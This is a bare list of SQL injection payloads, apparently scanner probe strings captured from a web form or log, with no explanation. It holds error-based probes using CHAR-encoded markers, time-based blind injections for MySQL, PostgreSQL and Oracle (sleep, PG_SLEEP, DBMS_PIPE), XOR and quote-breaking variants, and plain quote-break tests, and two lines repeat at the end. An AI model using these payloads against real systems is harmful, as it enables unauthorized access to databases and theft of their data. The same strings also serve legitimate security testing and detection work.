(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(105),CHAR(70),CHAR(122),CHAR(106),CHAR(115),CHAR(112),CHAR(114),CHAR(82)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
(select convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(105)+CHAR(70)+CHAR(122)+CHAR(106)+CHAR(115)+CHAR(112)+CHAR(114)+CHAR(82)) FROM syscolumns)
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555PZDhvs0q'
555T1ltDhCE') OR 326=(SELECT 326 FROM PG_SLEEP(15))--
555A8vT3BWb')) OR 969=(SELECT 969 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'"
(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(105),CHAR(70),CHAR(122),CHAR(106),CHAR(115),CHAR(112),CHAR(114),CHAR(82)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
(select convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(105)+CHAR(70)+CHAR(122)+CHAR(106)+CHAR(115)+CHAR(112)+CHAR(114)+CHAR(82)) FROM syscolumns)